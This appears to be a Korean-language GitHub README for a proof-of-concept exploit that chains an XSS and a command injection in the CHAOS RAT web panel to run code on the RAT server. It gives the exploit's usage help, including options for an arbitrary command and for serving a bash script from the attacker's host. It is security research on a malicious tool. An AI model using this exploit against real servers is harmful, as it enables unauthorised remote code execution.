chebuya/cve-2024-30850-chaos-rat-rce-pocCHAOS RAT 웹 패널 경로 RCE PoC
https://github.com/tiagorlampert/CHAOS
이 익스플로잇은 가짜 에이전트 콜백을 스푸핑하여 XSS(CVE-2024-31839)를 유발하고, 이 XSS를 활용하여 관리자 웹 패널의 명령 주입 취약점(CVE-2024-30850)을 공격합니다. 이로 인해 RAT 서버가 손상되고 RAT 패널 운영자가 릭롤(rickroll)당하게 됩니다.
전체 설명: https://blog.chebuya.com/posts/remote-code-execution-on-chaos-rat-via-spoofed-agents/
python3 exploit.py exploit -h
usage: exploit.py exploit [-h] [-f FILE] [-t TARGET] [-c COMMAND] [-v VIDEO_NAME] [-j JWT] -l LOCAL_IP [-p LOCAL_PORT] [-H HOSTNAME] [-u USERNAME] [-o OS]
[-m MAC] [-i IP]
options:
-h, --help show this help message and exit
-f FILE, --file FILE The path to the CHAOS client
-t TARGET, --target TARGET
The url of the CHAOS server (127.0.0.1:8080)
-c COMMAND, --command COMMAND
The command to use
-v VIDEO_NAME, --video-name VIDEO_NAME
The video name to use
-j JWT, --jwt JWT The JWT token to use
-l LOCAL_IP, --local-ip LOCAL_IP
The local IP to use for serving bash script and mp4
-p LOCAL_PORT, --local-port LOCAL_PORT
The local port to use for serving bash script and mp4
-H HOSTNAME, --hostname HOSTNAME
The hostname to use for the spoofed client
-u USERNAME, --username USERNAME
The username to use for the spoofed client
-o OS, --os OS The OS to use for the spoofed client
-m MAC, --mac MAC The MAC address to use for the spoofed client
-i IP, --ip IP The IP address to use for the spoofed client
